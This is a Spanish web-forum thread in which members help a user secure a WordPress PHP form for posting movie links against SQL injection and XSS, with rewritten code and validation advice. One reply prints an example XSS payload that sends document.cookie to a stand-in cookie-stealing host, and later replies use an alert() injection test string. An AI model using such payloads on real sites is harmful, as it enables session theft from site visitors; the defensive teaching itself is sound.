Protección contra ataques en tabla de enlaces para películas

  • Autor Autor Juanjo87
  • Fecha de inicio Fecha de inicio
J

Juanjo87

Gamma
Diseñador
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Pues desde mi ultimo post hasta ahora e avanzado mas de lo que me esperaba, tanto que solo me queda añadir a la tabla de enlaces para peliculas la seguridad.



por lo que he leido tengo que protegerme de ataques SQL y ataques XSS

Para proteger de ataques XSS

Me dice que se evita usando "htmlspecialchars()" de la siguiente forma:
PHP:
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"><br>

a mi esto:

PHP:
<form method="post" id="adduser" action="'; 
            echo             the_permalink(); 
            echo '            ">';


me a quedado asi:

PHP:
<form method="post" id="adduser" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"'; 
            echo             the_permalink(); 
            echo '            ">';

No se si lo e introducido de la forma correcta pero me muestra en plantilla la direccion donde me encuentro, en este caso me muestra :

"http://localhost/peliculas/?pelicula=cooming-son ">

y me da error 403 al intentar aportar un enlace: You don't have permission to access /peliculas/< on this server.

que esta fallando? lo estoy introduciendo de la forma correcta?
 
Última edición:
No entiendo muy bien para qué pones:
PHP:
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
Sería equivalente a no poner nada para que se procese el formulario en la misma página que se carga.
Insertar CODE, HTML o PHP:
<form action="">
 
No entiendo muy bien para qué pones:
PHP:
<form action="http://forobeta.com/<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
Sería equivalente a no poner nada para que se procese el formulario en la misma página que se carga.
Insertar CODE, HTML o PHP:
<form action="">

pero no tengo que añadirle?

action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"';

lo que intento es evitar ataques xss

- - - Actualizado - - -

pues acabo de pasar sql inyect me un programa de firefox para comprobar la vulnerabilidad frente ataques y tengo algunos errores, alguien conoce el programa? alguien puede ayudarme con la seguridad o guiarme un poco?
 
No, esta mal usada. La función htmlspecialchars reemplaza caracteres especiales en códigos HTML, uno de sus usos es para evitar por ejemplo una injeccion de código javascript mediante un link, por ejemplo, un link de algún mal intencionado que lleve a tu sitio:

http://localhost/peliculas/?pelicula=<script>document.location="http://robador_de_cookies/save.php?cookies"+scape(document.cookie)</script>

(No encodie en URL el parámetro película para que se entienda)

Luego si tu al mostrar los resultados pones en tu search.php:
...
Mostrando resultados para: <?php echo $_GET['pelicula']; ?>
...

El resultado, como código HTML, sera:
HTML:
Mostrando resultados para: <script>document.location="http://robador_de_cookies/save.php?cookies"+scape(document.cookie)</script>

Con lo que al usuario que entre a tu sitio con ese link le podrían robar las cookies (Se ejecutara el codigo js).

Si en cambio pones:
...
Mostrando resultados para: <?php echo htmlspecialchars($_GET['pelicula']); ?>
...

El resultado, como código HTML, sera:
HTML:
Mostrando resultados para: &lt;script&gt;document.location=&quot;[url]http://robador_de_cookies/save.php?cookies&quot;+scape(document.cookie)&lt;/script&gt;[/url]

Con lo que el código no se ejecutara, sino que se mostrara.
 
Última edición:
Solo cambia:
PHP:
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"><br>
por
PHP:
<form method="post" action="<?php the_permalink(); ?>"><br>
o solo deja
PHP:
<form method="post" action=""><br>
el action sin nada lo que hace es tomar la url actual... osea lo que hace PHP_SELF
 
vale gracias a todos pero creo que no estaba haciendo lo correcto, lo que pretendo es eliminar los errores de seguridad que me a dado Sql inyect me
Dejo una captura de pantalla a ver si alguien puede ayudarme.

error.webp
 
Parece que el resultado de la petición es un 404, o sea, lo mas probable es que el action del form sea incorrecto. Hiciste lo que te dijo cicklow?
Seria bueno que revises o pegues el código HTML resultante.

Con respecto a la inyeccion SQL te recomiendo revisar $wpdb->prepare:
Class Reference/wpdb « WordPress Codex

Para mostar los datos y evitar XSS ya expuse mi idea en mi respuesta anterior.
 
Así es hice lo que me comento cicklow y desapareció la dirección que me mostraba en plantilla y me funciona perfectamente pero los errores siguen apareciendo tal cual muestra la imagen.

Así tengo ahora mismo el codigo.
PHP:
<form method="post" id="adduser" action="'; 
            echo             the_permalink(); 
            echo '            ">';

respecto a tu comentario anterior, aun no lo e aplicado pues estoy analizándolo aun, pues no consigo entenderlo, no por que este mal explicado si no por que me faltan conocimientos en esto y no consigo entender exactamente que es lo que tengo que hacer

Pongo el código del form.

PHP:
<?php
            
                    global $nombre_servidor; 
                global $tipo_audio; 
                global $tipo_calidad; 
                global $enlace_roto; 
            
			

            
            echo '<h1>Subida de enlace</h1>';
            echo '<div class="links_servs">'; 
            echo '            <form method="post" id="adduser" action="'; 
            echo             the_permalink(); 
            echo '            ">';      
            echo '    <table>'; 
            echo '    <tbody>'; 
            echo '        <tr>'; 
            echo '            <th>SERVIDOR</th>'; 
            echo '            <th>AUDIO</th>'; 
            echo '            <th>CALIDAD</th>'; 
            echo '            <th>¿ENLACE ROTO?</th>'; 
            echo '            <th>APORTAR</th>'; 
            echo '        </tr>'; 
 
 
            echo '          <tr>'; 
            echo '            <td>'; 
            echo '            <select name="servidor" class="aporte"> '; 
			
			
			
                              foreach ($nombre_servidor as $nombre_servidors) 
                              {         
            echo '             <option value="'. $nombre_servidors .'"data-image="wp-content/themes/Mogambo/images/foto-' . $nombre_servidors . '"></option>'; 
                              }; 
                     
            echo '            </select>'; 
            echo '            </td>'; 
            
             echo '            <td>'; 
            echo '            <select name="audio" class="aporte"> '; 
             
                              foreach ($tipo_audio as $tipo_audios) 
                              {         
            echo '              <option value="'. $tipo_audios .'"data-image="wp-content/themes/Mogambo/images/flag/' . $tipo_audios . ' " ></option>';
                              }; 
                     
            echo '            </select>'; 
            echo '            </td>'; 
            
            echo '            <td>'; 
            echo '            <select name="calidad" class="aporte"> '; 
             
                              foreach ($tipo_calidad as $tipo_calidads) 
                              {         
            echo '             <option value="'. $tipo_calidads .'">'. $tipo_calidads .'</option>';


			
                              }; 
                     
            echo '            </select>'; 
            echo '            </td>'; 
           
            echo '            <td>'; 
            echo '            <select name="estado" class="aporte"> '; 
             
                              foreach ($enlace_roto as $enlace_rotos) 
                              {         
            echo '             <option value="'. $enlace_rotos .'">'. $enlace_rotos .'</option>'; 
                              }; 
                     
            echo '            </select>'; 
            echo '            </td>'; 
            echo '            <td>'; 
            echo '                <input name="updateuser" type="submit" id="updateuser" class="submit button" value="Aportar" />'; 
            echo '                <input name="nuevo_id" type="hidden" id="action" value="'.$cnt.'" />'; 
            echo '            </td>'; 
            echo '        </tr>'; 
            echo '      </tbody>'; 
            echo '    </table>'; 
            

			
			echo '    <br><label>Enlace</label><br>'; 
            echo '    <input type="text" style="width: 100%;"name="enlace" id="long" value=""/>';
			  
			  
			  echo '    <br><label>Usuario</label><br>'; 
            echo '    <input type="text" type="hidden" readonly="readonly" style="width: 100%;"name="user" id="long" value="'.$current_user->user_login.'"/>';			
            
			
			echo '  </form>    '; 
            echo '</div>'; 
            ?>
 
Última edición:
Fijate que the_permalink() tiene la salida (no deberías usar echo). Y tampoco son necesarios tantos "echo"s:

HTML:
<?php
		global $nombre_servidor; 
		global $tipo_audio; 
		global $tipo_calidad; 
		global $enlace_roto; 
?>
		<h1>Subida de enlace</h1>
		<div class="links_servs"> 
			<form method="post" id="adduser" action="<?php the_permalink(); ?>">      
			<table> 
			<tbody>
			<tr>
				<th>SERVIDOR</th>
				<th>AUDIO</th>
				<th>CALIDAD</th>
				<th>¿ENLACE ROTO?</th>
				<th>APORTAR</th>
			</tr>
			<tr>
				<td>
					<select name="servidor" class="aporte">
					<?php
						foreach ($nombre_servidor as $nombre_servidors){         
							echo '<option value="'. $nombre_servidors .'"data-image="wp-content/themes/Mogambo/images/foto-' . $nombre_servidors . '"></option>'; 
						}; 
					?>
					</select>
				</td>
				<td>
					<select name="audio" class="aporte">
					<?php
						foreach ($tipo_audio as $tipo_audios){         
							echo '<option value="'. $tipo_audios .'"data-image="wp-content/themes/Mogambo/images/flag/' . $tipo_audios . ' " ></option>';
						};
					?>
					</select>
				</td> 
				<td>
					<select name="calidad" class="aporte">
					<?php
						foreach ($tipo_calidad as $tipo_calidads){         
							echo '<option value="'. $tipo_calidads .'">'. $tipo_calidads .'</option>';
						};
					?>
					</select>
				</td>
				<td>
					<select name="estado" class="aporte">
					<?php
						foreach ($enlace_roto as $enlace_rotos){         
							echo '<option value="'. $enlace_rotos .'">'. $enlace_rotos .'</option>'; 
						}; 
					?>
					</select>
				</td>
				<td>
					<input name="updateuser" type="submit" id="updateuser" class="submit button" value="Aportar" />
					<input name="nuevo_id" type="hidden" id="action" value="'<?php echo $cnt;?>'" />
				</td>
			</tr> 
			</tbody>
			</table>
            
			<br><label>Enlace</label><br>
			<input type="text" style="width: 100%;" name="enlace" id="long" value=""/>
			<br><label>Usuario</label><br>
			<input type="text" type="hidden" readonly="readonly" style="width: 100%;" name="user" id="long" value="<?php echo $current_user->user_login;?>"/>
			</form>
			</div>
 
Última edición:
Pues acabo de probar lo que me as comentado (que por cierto muchas gracias por la información, la verdad que el código así se ve mucho mejor) y siguen apareciéndome los mismos errores.

La verdad que no se de que se puede tratar ni como puedo solucionarlo, pero pienso que estos errores que me manda es por que los input del formulario no tienen seguridad y cualquiera con conocimientos podría agregar código malintencionado provocando así un ataque sql.
Puede ser por esto que comento?
Sabes como puedo solucionarlo?
 
Si pegaras el codigo HTML (no el php), para ver si algo esta saliendo mal sería de ayuda.

the_permalink() no va a tener caracteres especiales como para inyección de código.

En la parte del código que muestras no me parece presente ninguna vulnerabilidad, excepto por ejemplo si el usuario pudiera contener caracteres especiales como comillas (CREO que esto no es posible en WP). En este caso no seria una vulnerabilidad porque el propio usuario se estaría inyectando. jaja. Pero para que entiendas la idea:

PHP:
<input type="text" type="hidden" readonly="readonly" style="width: 100%;" name="user" id="long" value="<?php echo $current_user->user_login;?>"/>
Debería ser:

PHP:
<input type="text" type="hidden" readonly="readonly" style="width: 100%;" name="user" id="long" value="<?php echo htmlentities($current_user->user_login, ENT_QUOTES);?>"/>
Si seria inyección para los demás usuarios si luego mostraras en una tabla los links con sus respectivos usuarios, o sea, debería ser algo así:

PHP:
<td><a href="<?php echo htmlentities($link, ENT_QUOTES);?>">Descargar</a></td><td><?php echo htmlspecialchars($usuariopropietario); ?>
Observar que también salve posible inyección en el link.
 
Fijate que quedo $cnt sin 2echo":
Insertar CODE, HTML o PHP:
<input name="nuevo_id" type="hidden" id="action" value="'.$cnt.'">
Debería ser (este me lo saltie yo en mi anterior respuesta):
Insertar CODE, HTML o PHP:
<input name="nuevo_id" type="hidden" id="action" value="<?php echo $cnt;?>" />

Esto no debería ser el problema. No nos muestras el codigo de la tabla de los enlaces ya agregados. Ahí es donde debes tener cuidado con las inyecciones, es decir que si alguien agrega un link:

Insertar CODE, HTML o PHP:
http://powvideo.com/2222222"><script>alert("inyeccionXSS")</script><

No se ejecute el codigo javascript al mostrarlo en la tabla.

Las variables:
global $nombre_servidor;
global $tipo_audio;
global $tipo_calidad;
global $enlace_roto;

Son asignadas por php/mysql fijas o dejas al usuario poner cualquiera? en este ultimo caso debes tener cuidado con todos los campos tal como en los links. En el primer caso deberías validarlo al guardarlo en la base de datos, por ejemplo:

Si definis:

$tipo_calidad = Array("CAM","DVDRip","BRip");

Lo validas asi:

if (in_array($_POST['calidad'], $tipo_calidad)){
//...Ok, todo bien, se continua
}else{
//Mala peticion, alguno esta intentado inyectar
die("Calidad no soportada");
}
 
Claro en las variables:

global $nombre_servidor;
global $tipo_audio;
global $tipo_calidad;
global $enlace_roto;

El usuario antes de subir el enlace puede elegir por ejemplo, en calidad: calidad-1, calidad-2..., el usuario no puede modificar esos campos, solo puede elegir entre las opciones que yo le asigno "calidad-1, calidad-2...", lo que si puede aportar el usuario es el enlace hacia la película claro.

He añadido el código que me as propuesto pero al actualizar la pagina ya me tira automáticamente el mensaje "Calidad no soportada"
Aunque no le encuentro mucho sentido añadir el código a las calidades ya que el usuario esos campos no puede modificarlo por lo tanto siempre serian aceptadas las calidades no?

Supongo entonces que los errores que me esta tirando sql inyect me son por que no tienen verificación las variables es así?
 
Que quede algo claro, que vos en el HTML pongas opciones con un select no significa que alguien que quiera inyectar codigo JS o SQL envié la petición con las opciones que tu muestras. Es decir, alguien puede enviar una petición con calidad=codigo_malintencionado, por eso es que debes validar con php, antes de guardar en la base de datos, que este corresponda a alguno de las opciones que tu pones. En este caso al guardarlo en la base de datos no tienes que tomar precauciones como si deberías en el campo libre del link, ya que el link no lo puedes validar entre opciones.
Como guardas tu en la base de datos? Aquí debes ver lo que te deje en una respuesta anterior con $wpdb->prepare

Al refrescar te aparece "Calidad no soportada"? es decir, en un GET o al enviar el formulario? La validación debe ser cuando el usuario envía el formulario, antes de guardar en la base de datos.
 
A primera vista se ven algunos problemas, que pasa si dos usuarios entran mas o menos al mismo tiempo para agregar un link. Luego uno envia el link y se guarda con $cnt=X, pero el $cnt para el otro usuario que aun esta agregando su link es tambien "X", con lo que cuando envíe su link, este ultimo sobreescribe al primero. Se entiende? Pasa algo similar si se esta editando el post.

Para validar los datos restringidos de un link podrías usar algo:

PHP:
function validarLink($p){
	global $nombre_servidor;
	global $tipo_audio;
	global $tipo_calidad;
	global $enlace_roto;
	if (in_array($p['servidor'],$nombre_servidor)){
		if (in_array($p['audio'],$tipo_audio)){
			if (in_array($p['calidad'],$tipo_calidad)){
				if (in_array($p['roto'],$enlace_roto)){
					return true;
				}
			}
		}
	}
	return false;
}


Luego cuando guardas un link compartido por un user no utilices el "user" definido el POST, utiliza el user de la session directamente o chequea que sean iguales sino otro usuario podría postear en nombre de cualquiera.
$user= $_POST['user'];
Cambiarlo por:
$user= $current_user->user_login;
Y quitar el campo user en el form de aportar enlaces.

Aca una alternativa con un autoincrement "casero":

PHP:
<?php

if (  !empty($_POST['seccion']) ) {
	$add_to_ID = $_POST['seccion'];
	if ( ! is_numeric( $add_to_ID ) )
		die("Wrong ID!");
	$add_to_ID = abs(intval($add_to_ID));
	if ( ! $add_to_ID )
		die("Wrong ID!");
	if (in_array($_POST['roto'],$enlace_roto)){
		$existing_list = get_post_meta($post->ID,"peliculas_data",true);
		if (isset($existing_list[$add_to_ID])){ //Verificar que el $add_to_ID exista
			$existing_list[$add_to_ID]['roto'] = $_POST['roto'];
			update_post_meta($post->ID,'peliculas_data',$existing_list);
		}
	}
}

if ( !empty( $_POST['servidor']) and !empty( $_POST['enlace'])) {

	$add_to_ID = get_post_meta($post->ID,"linksAutoincrement",true); //esto es para nunca repetir un mismo "ID" y la denuncia de link roto no hagan despiole si luego se edita o elimina algun link. Y si  asignas con php este valor no deberás validarlo aqui
	if ( empty( $add_to_ID ) )
		$add_to_ID = 0;
	$add_to_ID = $add_to_ID + 1;
	
	$existing_list = get_post_meta($post->ID,"peliculas_data",true); 
	if (empty($existing_list))
		$existing_list = array();
	$existing_list[$add_to_ID]['servidor'] = $_POST['servidor']; 
	$existing_list[$add_to_ID]['audio'] = $_POST['audio']; 
	$existing_list[$add_to_ID]['calidad'] = $_POST['calidad']; 
	$existing_list[$add_to_ID]['roto'] = $_POST['estado']; 
	$existing_list[$add_to_ID]['enlace'] = $_POST['enlace']; 
	$existing_list[$add_to_ID]['user'] = $current_user->user_login;
	
	if (validarLink($existing_list[$add_to_ID])==false){
		die("Un campo no esta entre los permitidos");
	}
	
	if (filter_var($_POST['enlace'], FILTER_VALIDATE_URL) !== false){ //Validamos el enlace, luego update_post_meta lo debería sanitizar por nosotros
		update_post_meta($post->ID,'peliculas_data',$existing_list); 
		update_post_meta($post->ID, 'linksAutoincrement', $add_to_ID);
	}
}

Esto es para que lo analices, no para copiar/pegar. Por que vas a tener que editar tmb el function.php si aplicas esta forma. Y los links al no existir linksAutoincrement se comenzaran a sobrescribir.
Los postmeta pueden ser multiples, me hubiera parecido mas correcto almacenar un postmeta por link, pero son gustos.
 
Última edición:
Vale agradezco mucho tu ayuda y llevo toda la mañana intentando analizar el código para modificar el function pero sinceramente ni siquiera se por donde empezar. De momento lo que he echo es copiar y pegar el segundo codigo que me as mandado en el header.php y el codigo para validar los datos restringidos de un link lo e puesto en el function.php. Tambien cambie
PHP:
 $user= $_POST['user'];
por:
PHP:
 $user= $current_user->user_login;
pero me di cuenta que ya al modificar el header lo modificabas, así que nada.

Despues de echo esto, logicamente no funciona el formulario. pues

Supongo que habría que modificar el function como mencionaste, para que volviese a funcionar después de modificar el header.

Y supongo que una vez configurado el function ya los errores de seguridad que me saltan quedarian solucionados es asi?

me puedes ayudar con esto? sinceramente no se que debería ni como cambiar el function para que volviese a funcionar


EDITO*

Ahora he conseguido hacerlo funcionar, no se como pero ahora sube los enlaces, no he modificado el function, nada mas que le agrege el primer codigo que me pasastes, asi que supongo que aun hace falta que se modifique, pero no se que cambios a de hacer. El usuario ahora no me lo muestra en la tabla de enlaces y es un dato que necesito que aparezca, no se si al modificar el fuction volvera aparecer pero esta claro que necesito tu ayuda:cower:

- - - Actualizado - - -

sigo igual copiando el código en el header me a solucionado tmb un problema que me aparecía pero sigo sin saber que tengo q cambiar en el function, ayuda please
 
Última edición:
Te doy la ultima mano, perdón, ya seria mucho trabajo hacertelo..

Para mostrar:

PHP:
<?php
	$data = get_post_meta($post->ID,"peliculas_data",true);
	global $enlace_roto;
?>
	<div class="links_servs">
	<table>
	<tbody>
	<tr>
		<th>SERVIDOR</th>
		<th>AUDIO</th>
		<th>CALIDAD</th>
		<th>VER ONLINE</th>
		<th>¿ENLACE ROTO?</th>
		<th>USUARIO</th>
	</tr>
	<?php     
	if (count($data) > 0){
		foreach((array)$data as $cnt => $p ){
			if (isset($p['calidad']) || isset($p['audio'])|| isset($p['servidor'])|| isset($p['enlace'])|| isset($p['roto'])|| isset($p['user'])){
			?>
				<tr>
					<td class="server" > <img src="wp-content/themes/Mogambo/images/foto-<?php echo $p['servidor']; ?>"></img>   </td>
					<td class="idioma"><img src="wp-content/themes/Mogambo/images/flag/<?php echo $p['audio']; ?>"></img></td>
					<td class="calidad"><?php echo $p['calidad']; ?></td>
					<td><a href="<?php echo htmlentities($p['enlace'], ENT_QUOTES);?>" class="url_download" target="_blank">Reproducir</a></td>
					<td>
						<form method="post" id="adduser" action="<?php the_permalink(); ?>">
							<select name="roto" id="audio">
							<?php
								foreach ($enlace_roto as $enlace_rotos){
									if( $enlace_rotos == $p['roto']  ) {
										echo '<option value="'. $p['roto'] .'"  selected="slelected"  >'. $p['roto'] .'</option>';
									} else {
										echo '<option value="'. $enlace_rotos .'">'. $enlace_rotos .'</option>';
									}
								}
							?>
							</select>
							<p class="form-submit">
								<input name="updateuser" type="submit" id="updateuser" class="submit button" value="Actualizar" />
								<input name="seccion" type="hidden" id="action" value="<?php echo $cnt; ?>" />
							</p>
						<td class="user"><?php echo htmlspecialchars($p['user']); ?></td>
						</form>
					</td>
				</tr>
			<?php
			}
		}
	}
	?>
</tbody>
</table>
</div>

Observar que ahora recorro el array con:
PHP:
foreach((array)$data as $cnt => $p ){

Ya que ahora es un array asociativo con la ID($cnt) del link como key.

Tmb salve posible inyeccion con el campo link:

<?php echo htmlentities($p['enlace'], ENT_QUOTES);?>

Sin el htmlentities se podría inyectar codigo js agregando un link asi:

Insertar CODE, HTML o PHP:
http://powvideo.com/2222222"><script>alert("inyeccionXSS")</script><

Por si las moscas también tiene htmlspecialchars el campo user.


Para aportar:

PHP:
<?php
	global $nombre_servidor; 
	global $tipo_audio; 
	global $tipo_calidad; 
	global $enlace_roto; 
?>
	<h1>Subida de enlace</h1>
	<div class="links_servs"> 
		<form method="post" id="adduser" action="<?php the_permalink(); ?>">      
		<table> 
		<tbody>
		<tr>
		    <th>SERVIDOR</th>
		    <th>AUDIO</th>
		    <th>CALIDAD</th>
		    <th>¿ENLACE ROTO?</th>
		    <th>APORTAR</th>
		</tr>
		<tr>
		    <td>
			<select name="servidor" class="aporte">
			<?php
				foreach ($nombre_servidor as $nombre_servidors){	 
				    echo '<option value="'. $nombre_servidors .'"data-image="wp-content/themes/Mogambo/images/foto-' . $nombre_servidors . '"></option>'; 
				}; 
			?>
			</select>
		    </td>
		    <td>
			<select name="audio" class="aporte">
			<?php
				foreach ($tipo_audio as $tipo_audios){	 
				    echo '<option value="'. $tipo_audios .'"data-image="wp-content/themes/Mogambo/images/flag/' . $tipo_audios . ' " ></option>';
				};
			?>
			</select>
		    </td> 
		    <td>
			<select name="calidad" class="aporte">
			<?php
				foreach ($tipo_calidad as $tipo_calidads){	 
				    echo '<option value="'. $tipo_calidads .'">'. $tipo_calidads .'</option>';
				};
			?>
			</select>
		    </td>
		    <td>
			<select name="estado" class="aporte">
			<?php
				foreach ($enlace_roto as $enlace_rotos){	 
				    echo '<option value="'. $enlace_rotos .'">'. $enlace_rotos .'</option>'; 
				}; 
			?>
			</select>
		    </td>
		    <td>
			<input name="updateuser" type="submit" id="updateuser" class="submit button" value="Aportar" />
		    </td>
		</tr> 
		</tbody>
		</table>
		<br><label>Enlace</label><br>
		<input type="text" style="width: 100%;" name="enlace" id="long" value=""/>
		</form>
	</div>
</body>
</html>

Observar que quite cnt y user, ya que lo asignare con php.

También quite el maxlength="15". Ahí pretendes que pongan la url o el ID del archivo? Por que en el header.php puse para validar url (dara error si ponen el id);


En el header:

PHP:
if (  !empty($_POST['seccion']) ) {
	$add_to_ID = $_POST['seccion'];
	if ( ! is_numeric( $add_to_ID ) )
		die("Wrong ID!");
	$add_to_ID = abs(intval($add_to_ID));
	if ( ! $add_to_ID )
		die("Wrong ID!");
	global $enlace_roto;
	if (in_array($_POST['roto'],$enlace_roto)){
		$existing_list = get_post_meta($post->ID,"peliculas_data",true);
		if (isset($existing_list[$add_to_ID])){ //Verificar que el $add_to_ID exista
		$existing_list[$add_to_ID]['roto'] = $_POST['roto'];
		update_post_meta($post->ID,'peliculas_data',$existing_list);
		}
	}else{
		die("roto no definido");
	}
}

if ( !empty( $_POST['servidor']) and !empty( $_POST['enlace'])) {
	$current_user = wp_get_current_user();
	if ( is_user_logged_in() ) {
		$add_to_ID = get_post_meta($post->ID,"linksAutoincrement",true);
		if ( empty( $add_to_ID ) )
			$add_to_ID = 0;
		$add_to_ID = $add_to_ID + 1;
		
		$existing_list = get_post_meta($post->ID,"peliculas_data",true); 
		if (empty($existing_list))
			$existing_list = array();
		$existing_list[$add_to_ID]['servidor'] = $_POST['servidor']; 
		$existing_list[$add_to_ID]['audio'] = $_POST['audio']; 
		$existing_list[$add_to_ID]['calidad'] = $_POST['calidad']; 
		$existing_list[$add_to_ID]['roto'] = $_POST['estado']; 
		$existing_list[$add_to_ID]['enlace'] = $_POST['enlace'];
    
		$existing_list[$add_to_ID]['user'] = $current_user->user_login;
		if (validarLink($existing_list[$add_to_ID])==false){
			die("Un campo no esta entre los permitidos");
		}
		if (filter_var($_POST['enlace'], FILTER_VALIDATE_URL) !== false){
			update_post_meta($post->ID,'peliculas_data',$existing_list); 
			update_post_meta($post->ID, 'linksAutoincrement', $add_to_ID);
		}else{
			die("enlace no valido!");
		}
	}else{
		die("No estas logueado!");
	}
}

En el function.php debe estar definida la funcion validarLink.

Asi debería funcionar los aportes, la edición te la dejo para ti. XD
Recuerda que ahora es un array asociativo con la ID del link como key del array:
PHP:
foreach((array)$data as $cnt => $p ){
Y que el ID se maneja con el autoincement casero:
PHP:
$add_to_ID = get_post_meta($post->ID,"linksAutoincrement",true);
if ( empty( $add_to_ID ) )
	$add_to_ID = 0;
$add_to_ID = $add_to_ID + 1;
...
update_post_meta($post->ID, 'linksAutoincrement', $add_to_ID);
 
Oh! me as roto el corazon con esto: Te doy la ultima mano, perdón, ya seria mucho trabajo hacertelo..:sorrow::sorrow: La verdad que no se como podria agradecerte tanto esfuerzo y entiendo que no dispongas de tiempo para hacerle el trabajo a otro pero por favor, aunque no me escribas mas código no me dejes solo ahora. no se a que te refieres que la edición me la dejas ami.

Tal cual esta ahora mismo con lo que me as pasado, desde la zona administracion, puedo editar perfectamente el contenido asi que supongo que a eso no te refieres, podrias decirme que le falta por hacer? no que me escribas el codigo de lo que falta si no que me especifiques un poco mas para poder buscar en google y no dejarlo a medias pues practicamente el trabajo es tuyo y yo no tengo conocimientos para acabarlo.
 
Así como esta la edición no esta bien. Por ejemplo aporta como usuario el link:

Insertar CODE, HTML o PHP:
http://powvideo.com/2222222"><script>alert("inyeccionXSS")</script><

Luego ve a la pagina de edición y muy probablemente te aparezca una alerta con "inyeccionXSS", te inyectaron! jaja

Tmb si tu estas editando un post agregas un par de links y mientras vos editabas alguien aporto links, cuando tu guardes el post los links aportados se sobreescriben. En un rato te pongo como lo corrigiria yo.
 
Muchas gracias wetsa espero esa respuesta y aprobecho para comentarte que te e dejado un mensaje por privado
 
Atrás
Arriba